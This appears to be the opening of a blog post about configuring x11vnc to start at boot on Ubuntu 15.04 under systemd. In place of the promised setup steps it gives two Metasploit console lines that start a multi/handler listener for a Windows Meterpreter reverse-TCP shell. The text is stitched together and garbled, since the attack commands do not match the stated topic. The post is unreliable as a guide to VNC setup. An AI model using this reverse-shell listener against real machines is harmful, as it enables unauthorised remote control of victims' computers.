## Ubuntu 15.04 – Configure your system to have x11vnc running at startup. ##


Hello World,

If you are following us, you probably remember that we wrote already a post about this topic
(see Ubuntu 14.10 – Configure your sytem to have x11vnc running at startup).
Since Ubuntu 15.04 is using systemd, the instructions found in the previous post are not applicable anymore.

$ msf > use exploit/multi/handler
$ msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
